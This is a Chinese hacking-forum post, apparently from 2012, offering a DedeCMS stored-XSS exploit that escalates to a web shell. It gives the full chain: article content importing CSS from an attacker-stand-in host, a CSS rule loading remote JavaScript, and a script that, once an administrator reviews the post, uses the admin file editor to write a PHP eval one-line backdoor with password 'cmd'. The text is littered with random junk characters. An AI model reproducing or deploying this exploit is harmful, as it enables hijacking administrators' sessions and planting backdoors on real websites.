找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1737|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell$ H( x$ F8 K8 l6 {
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)* M' l. e; e& r8 C0 S- x
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。; f& U4 a/ V& v8 c, t
下面说说利用方法。+ V$ f' \/ X4 L8 R# J
条件有2个:
) J5 b3 o( r* ~7 e- i8 S, O0 z1.开启注册
: X/ G0 j) z. U2 E# `2.开启投稿  `/ K5 a% w; {. C# A( Z
注册会员----发表文章
7 r$ C  O* x# v% m内容填写:& L! S) l. S# G0 P/ D
复制代码# \. d; k3 x* M3 l
<style>@im\port'\http://xxx.com/xss.css';</style># ?+ n4 i  o3 Y+ L0 `
新建XSS.Css
! L" s/ B: y! O5 j! y( p复制代码/ M$ z% E' k8 ~- D% l
.body{! U* Y# h( K8 J- s* _0 T8 z2 n
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }1 K% \2 F4 Q, r7 m, K
新建xss.js 内容为
- x7 \; [# w& ^+ G+ o# G% N4 N复制代码
5 t9 f% a  h1 N! V" \# n1.var request = false;1 _) B1 \; d4 }3 M) H; K
2.if(window.XMLHttpRequest) {
5 |+ P4 P: H6 a' Z& N9 x, F3.request = new XMLHttpRequest();
% I4 s: M( d+ H6 h* K& p4.if(request.overrideMimeType) {
% g& {: G! p& ?4 H- C" p4 A- G5.request.overrideMimeType('text/xml');
& X3 M- P0 I) n* n5 l6.}
2 O8 e' k, D: [) l7.} else if(window.ActiveXObject) {
; Z3 J! e: }, T$ E! H8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];5 ^. y# w: W$ y9 s* [3 ~2 g( b# {" n
9.for(var i=0; i<versions.length; i++) {
  b- _$ O$ b9 D10.try {0 G- M9 s: W8 Z$ P5 [/ k4 @
11.request = new ActiveXObject(versions);3 r2 V  @) ^& h- K  Y/ ]( C& ?! v
12.} catch(e) {}/ {  A. Q  k& R* i
13.}3 n" Z% _$ Z2 Q+ m( _1 D/ Y7 @' |! Y
14.}
, h  ~! {" a+ @0 w4 [% s15.xmlhttp=request;( i9 T6 n5 P1 V: {
16.function getFolder( url ){% F- G+ y; N: ~2 V9 `
17. obj = url.split('/')
( v2 {) p. F! `' `7 [5 X) Q18. return obj[obj.length-2]
+ g: V& Y; Y/ b/ ^/ q3 |19.}: P+ [1 C  s7 U7 f0 N- w) w
20.oUrl = top.location.href;
9 k1 t5 _6 v6 W4 d1 ^% G  Q21.u = getFolder(oUrl);
4 `, l: u& s5 X' P* G: a0 n22.add_admin();$ u( y& I* j& n  b
23.function add_admin(){
" A3 V2 W+ m( R" O( B: K2 P0 _) W24.var url= "/"+u+"/sys_sql_query.php";6 ~3 t  N  c. v1 B, x
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
' d2 }) U7 m3 f$ m26.xmlhttp.open("POST", url, true);
6 V9 U. |8 v# k) b4 A1 l27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
) J# `( F1 C/ {6 Y) I3 S3 L) m/ A' h28.xmlhttp.setRequestHeader("Content-length", params.length);
8 g& U8 v1 E) k8 t29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");- \0 E0 h8 \( Q5 M
30.xmlhttp.send(params);
7 c/ j5 l: g' o( g* l# n31.}
0 M( o/ V/ M# S& x, a, ]' e, C当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表